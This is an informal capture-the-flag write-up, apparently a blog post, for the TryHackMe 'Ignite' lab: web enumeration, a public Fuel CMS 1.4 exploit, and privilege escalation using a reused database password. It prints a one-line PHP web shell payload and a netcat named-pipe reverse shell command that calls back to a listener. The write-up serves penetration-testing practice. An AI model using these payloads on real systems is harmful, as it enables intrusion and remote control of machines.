TryHackMe: ignite

we have open port which is 80 so this is web.

we found login page with credentials.

we have upload page

and we will upload file which is php revshell. but there was error so we can’t make it so we will move on other things.

let’s see if we can take revshell from here

Online - Reverse Shell Generator

we just insert[<?=`$_GET[‘cmd’]`?>] this and this was successfull.

also there was nothing and we just uploaded file in blocks. everything was unsuccesfull.

Get Otarigochiashvili’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

so we will try msfconsole.

we will use that and we will see what is the result, also there was nothing so we saw here that there is exploit for fuel cms 1.4[https://github.com/advisories/ghsa-p5g4-2whh-fvpw] we just downloaded exploit and used it so now we need revshell.

so we are in and making revshell [rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.135.48 4444 >/tmp/f]

now we need privesc with linpeas because there was nothing interesting after crawling.

also there was no curl we need something there is nothing in crontab user home and etc…

we moved on /var/www/html because this is webserver we have also this way

i haven’t tried wget wait.

here we go:))))

we will grab a coffe ;) and wait for it.

there was line which contains info:

var/www/html/fuel/application/config/database.php: ‘password’ => ‘mememe’,

we take it and we are root so that’s it.